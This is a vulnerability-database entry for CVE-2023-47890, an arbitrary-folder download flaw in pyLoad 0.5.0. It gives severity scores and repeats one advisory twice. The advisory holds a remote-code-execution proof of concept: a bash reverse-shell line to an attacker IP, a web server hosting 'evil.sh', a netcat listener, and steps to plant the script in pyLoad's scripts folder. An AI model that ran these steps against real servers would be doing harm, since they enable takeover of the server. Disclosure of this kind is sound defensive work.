CVE-2023-47890

highPriorität · verfolgen · 35EPSS 0.011 · 64. PerzentilEUUS
grimoire priorityP2 · Scheduled
Exploitable?
—
no known exploitation
Likely / severe?
1.06% (64th) EPSS
CVSS 8.8 · high
Is it mine?
3 products
Prüfe deine Angriffsfläche
Who says so?
4 sources
cnnvd · enisa_euvd · osv · nvd

EPSS · bewertet 2026-10-27

pyLoad 0.5.0 is vulnerable to Unrestricted File Upload.

01

cvss

Technischer Schweregrad, 0–10. Eine Zeile je Quelle.

8.8
010

Basiswert 0–10 · höher = schwerwiegender · Vektor überfahren zum Auflösen

v3.18.8highCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:Hprimary · NVD / NIST USAusnutzbarkeit 2.8 · Auswirkung 5.9
v3.18.8highCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:Hsecondary · ENISA EU
v3.18.8highCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:HsecondaryAusnutzbarkeit 2.8 · Auswirkung 5.9
v3.17.6highCVSS:3.1/AV:A/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:Hsecondary · OSV
v3.18.1highCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H/E:Usecondary · CVSS-BT (t0sche)
02

SSVC

Eine Handlungsentscheidung — aus Ausnutzung und Auswirkung.

Exploitation: poc · Automatable: no · Technical Impact: totalcoordinatorcisa_ssvcUS
03

schwächen

Die CWE-Schwächeklassen, zu denen dies gehört.

04

betroffene Produkte (3)

Betroffene Produkte und Versionsbereiche.

05

Advisories (2)

Hersteller- und Ökosystem-Meldungen dazu.

  • GHSA-h73m-pcfw-25h2Download to arbitrary folder can lead to RCE2023-11-21ghsa · osvUS

    ### Summary A web UI user can store files anywhere on the pyLoad server and gain command execution by abusing scripts. ### Details When a user creates a new package, a subdirectory is created within the /downloads folder to store files. This new directory name is derived from the package name, except a filter is applied to make sure it can't traverse directories and stays within /downloads. src/pyload/core/api/__init__.py::add_package::L432 ```python folder = ( folder.replace("http://", "") .replace("https://", "") .replace(":", "") .replace("/", "_") .replace("\\", "_") ) ``` So if a package were created with the name ```"../"``` the application would instead create the folder ```"/downloads/.._/"``` However, when editing packages there is no prevention in place and a user can just pick any arbitrary directory in the filesystem. src/pyload/webui/app/blueprints/json_blueprint.py::edit_package::L195 ```python id = int(flask.request.form["pack_id"]) data = { "name": flask.request.form["pack_name"], "_folder": flask.request.form["pack_folder"], "password": flask.request.form["pack_pws"], } api.set_package_data(id, data) ``` ### Steps to reproduce 1. Login to a pyLoad instance 2. Go to "Queue" and create a new package with any name and a valid link 3. Click "Edit Package" on the newly created package and set the folder as "/config/scripts/download_finished/" 4. Restart the package 5. Check the server filesystem and note the link was downloaded and stored inside "/config/scripts/download_finished/" ### Remote code execution proof-of-concept It is possible to use this issue to abuse scripts and gain remote control over the pyLoad server. #### On attacker machine 1. Start a web server hosting a malicious script ```bash echo -e '#!/bin/bash\nbash -i >& /dev/tcp/<attacker_ip>/9999 0>&1' > evil.sh&1 sudo python3 -m http.server 80 ``` 2. Start netcat listener for reverse shells ```bash nc -vklp 9999 ``` #### On pyLoad 1. Change pyLoad file permission settings Change permissions of downloads: On Permission mode for downloaded files: 0744 2. Create a package with link pointing to the attacker http://<attacker_ip>/evil.sh 3. Edit package and change folder to /config/scripts/package_deleted/ 4. Refresh package. Wait up to 60 seconds for scripts to be processed by pyLoad 5. Delete any package package to trigger the script ### Impact An authenticated user can gain control over the underlying pyLoad server.

  • PYSEC-2026-1819Download to arbitrary folder can lead to RCE2026-07-07vendor · osvUS

    ### Summary A web UI user can store files anywhere on the pyLoad server and gain command execution by abusing scripts. ### Details When a user creates a new package, a subdirectory is created within the /downloads folder to store files. This new directory name is derived from the package name, except a filter is applied to make sure it can't traverse directories and stays within /downloads. src/pyload/core/api/__init__.py::add_package::L432 ```python folder = ( folder.replace("http://", "") .replace("https://", "") .replace(":", "") .replace("/", "_") .replace("\\", "_") ) ``` So if a package were created with the name ```"../"``` the application would instead create the folder ```"/downloads/.._/"``` However, when editing packages there is no prevention in place and a user can just pick any arbitrary directory in the filesystem. src/pyload/webui/app/blueprints/json_blueprint.py::edit_package::L195 ```python id = int(flask.request.form["pack_id"]) data = { "name": flask.request.form["pack_name"], "_folder": flask.request.form["pack_folder"], "password": flask.request.form["pack_pws"], } api.set_package_data(id, data) ``` ### Steps to reproduce 1. Login to a pyLoad instance 2. Go to "Queue" and create a new package with any name and a valid link 3. Click "Edit Package" on the newly created package and set the folder as "/config/scripts/download_finished/" 4. Restart the package 5. Check the server filesystem and note the link was downloaded and stored inside "/config/scripts/download_finished/" ### Remote code execution proof-of-concept It is possible to use this issue to abuse scripts and gain remote control over the pyLoad server. #### On attacker machine 1. Start a web server hosting a malicious script ```bash echo -e '#!/bin/bash\nbash -i >& /dev/tcp/<attacker_ip>/9999 0>&1' > evil.sh&1 sudo python3 -m http.server 80 ``` 2. Start netcat listener for reverse shells ```bash nc -vklp 9999 ``` #### On pyLoad 1. Change pyLoad file permission settings Change permissions of downloads: On Permission mode for downloaded files: 0744 2. Create a package with link pointing to the attacker http://<attacker_ip>/evil.sh 3. Edit package and change folder to /config/scripts/package_deleted/ 4. Refresh package. Wait up to 60 seconds for scripts to be processed by pyLoad 5. Delete any package package to trigger the script ### Impact An authenticated user can gain control over the underlying pyLoad server.

06

auch bekannt als (6)

Weitere Namen und Kennungen dieser Entität.

07

quellen

Welche Quellen diesen Datensatz belegen und wann.

veröffentlicht 2024-01-08geändert 2026-07-09
09

Referenzen (5)

Externe Belege — Patches, Meldungen, Analysen.

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